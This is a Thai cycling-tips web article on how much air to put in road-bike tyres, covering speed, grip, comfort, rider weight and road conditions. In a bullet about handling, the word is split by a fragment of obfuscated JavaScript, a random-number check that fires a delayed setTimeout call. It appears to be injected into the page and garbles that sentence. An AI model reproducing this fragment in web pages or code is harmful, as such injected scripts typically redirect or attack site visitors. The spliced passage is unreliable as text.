• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

ใส่ลมยาง…เท่าไรดี?

stepextra by stepextra
3 May 2016
in Cycling Tips, Feature, Tips & Technics
0
ใส่ลมยาง…เท่าไรดี?
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ใส่ลมยาง…เท่าไรดี?

หนึ่งในปัญหาโลกเเตกของชาวนักปั่น…เราควรใส่ลมยางเท่าไรดี…ปัจจุบันยางล้อในวงการปั่นจักรยานเสือหมอบไทย มีสองตัวเลือกใหญ่ๆ คือขนาด 23mm และ 25mm จะถูกกำหนดปริมาณลมที่ใส่เข้าไปได้เฉลี่ยอยู่ระหว่าง 90-120 psi หรือ 6-9 bar เป็นต้น ความดันที่เราปั๊มลมเข้าไปส่งผลต่อการปั่นของเรา ทั้งในเรื่องความเร็ว (speed) การยึดเกาะ (traction) และความสบายในการปั่น (comfortable)

ถ้าเราใส่ลมจนเยอะ จะเกิดอะไรขึ้น….?

การใส่ลมในระดับความดันสูงหรือ high pressure มีผลที่เห็นได้ชัดคือเคลื่อนที่ไปได้เร็ว ล้อสามารถหมุนได้เร็วขึ้น เพราะมี Rolling resistance น้อยลง แต่การใส่ลมที่ความดันสูงๆ ก็มีข้อเสียคือ

  • โอกาสล้อเเตกฉีกขาดเกิดขึ้นได้สูง เพราะล้อต้องรับน้ำหนักตัวผู้ปั่น เมื่อปั่นไปจะเกิดเเรงเสียดทาน เกิดความร้อนทำให้อากาศ และวัสดุล้อต่างๆ ขยายตัว ยิ่งในสภาวะอากาสร้อนจะยิ่งมีการขยายตัวขึ้นอีก หากกระทบกับพื้นเเข็ง ทางขรุขระ โอกาสล้อเเตกจะเกิดได้สูงมาก
  • ลด Handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling และ Control ลง หรือการควบคุมจักรยานเวลาเลี้ยวและเข้าโค้งต่างๆ ลดลง เพราะเมื่อมีการสัมผัสกับพื้นผิวถนนน้อยลง การยึดเกาะจะน้อยลงตามไปด้วย ประกอบทั้งล้อที่มีความดันสูงจะเเข็งและกระเด้งมากกว่าล้อที่มีความดันต่ำ โอกาสสัมผัสพื้นผิวก็จะยิ่งลดน้อยลงไปอีก
  • เเรงสั่นสะเทือนสูง จะทำให้ไม่สบายเวลาปั่น เร่งอาการเหนื่อยให้เกิดขึ้นเร็ว เราต้องเสียพลังงานในต่อกรกับเเรงสั่นไหว
  • การสั้นสะเทือนทำให้สูญเสียโมเมนตรัมในการพุ่งไปข้างหน้า ทำให้ความเร็วลดลง

ถ้าเราใส่ลมน้อย หรือ low pressure จะเกิดอะไรขึ้น…สิ่งเเรกที่จะเห็นได้ชัดคือ อาการหนืด ปั่นไปได้ช้า เเต่ขณะเดียวกัน การยึดเกาะจะทำได้ดีกว่า ล้อไม่สั่นสะเทือนมาก นุ่มกว่าล้อที่มีความดันสูง

ดังนั้นหน้าที่ขอเราคือการหาจุดสมดุลของการเติมลมให้เหมาะกับ โดยคำนึงถึง 3 ปัจจัยหลัก คือ

  1. น้ำหนักตัวผู้ปั่น
  2. ขนาดล้อยาง ร่วมทั้งยี่ห้อผู้ผลิต
  3. สภาพพื้นผิวและอุณหภูมิที่ใช้ปั่น ณ ขณะนั้นๆ

ลองมาดูตัวอย่างที่ Michelin ทำการศึกษาไว้ ว่าเราควรใส่ลมอย่างเท่าไร
michelin-tire-pressure-chart

สมมุติว่า เราหนัก 75 กิโลกรัม เเละใช้ ล้อยาง ขนาด 700*25c….เราควรใส่ลมที่ 6.5-7 bar แต่ถ้าดูของเวบไซด์ FLO Cyclingพบว่าจะอยู่ที่ระหว่าง 6.3-6.5 bar ทั้งนี้ที่เกิดความเเตกต่างกันเพราะ วัสดุหรือคุณภาพของยางที่ใช้ผลิตนั้นเเตกต่างกัน เเต่พอจะเป็นเกณฑ์ชี้เเนะได้ว่าเราควรเติมลมในช่วง 6.3 – 7 bar จากนั้นก็ใช้ความรู้สึกของเราในการทดลองปั่น เเต่ละความดันให้ฟีลลิ่งอย่างไร เร็วและควบคุมได้ดีมั้ย ต้องเลือกเอาเอง

Screen Shot 2014-11-20 at 10.07.14 AM

มาต่อกันที่ สภาพพื้นผิวและอุณหภูมิที่ใช้ปั่น มีหลักจำง่ายๆ

  1. ถ้าถนนเปียก ต้องเพิ่มเเรงยึดเกาะ หรือ traction ต้องลดความดันลง
  2. ถ้าถนนขรุขระ ต้องลดความดันลง ลดความเสี่ยงที่จะทำให้ล้อเเตกได้ การลดความดันจะช่วยลดอาการสั้นไหว ช่วยรักษาโมเมนตรัมในการพุ่งไปข้างหน้า
  3. พื้นถนนเรียบ อากาศดี ธรรมดาทั่วไป ความดันมาตรฐานที่เราใช้ปั่น เพิ่มได้นิดหน่อย
  4. ในวันที่อากาศร้อน ลดความดันลมลง

ว่ากันเเล้วเรามาดูเหล่าโปรกันว่าเค้าใส่กันเท่าไร

สังเกตว่า ส่วนมาจะเลือกใช้ล้อ 25mm เพราะเรื่องการควบคุมและความทนทาน ความดันจะขึ้นอยู่กับสภาพพื้นผิวที่ปั่น อากาศ และความชอบเเต่ละคน

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.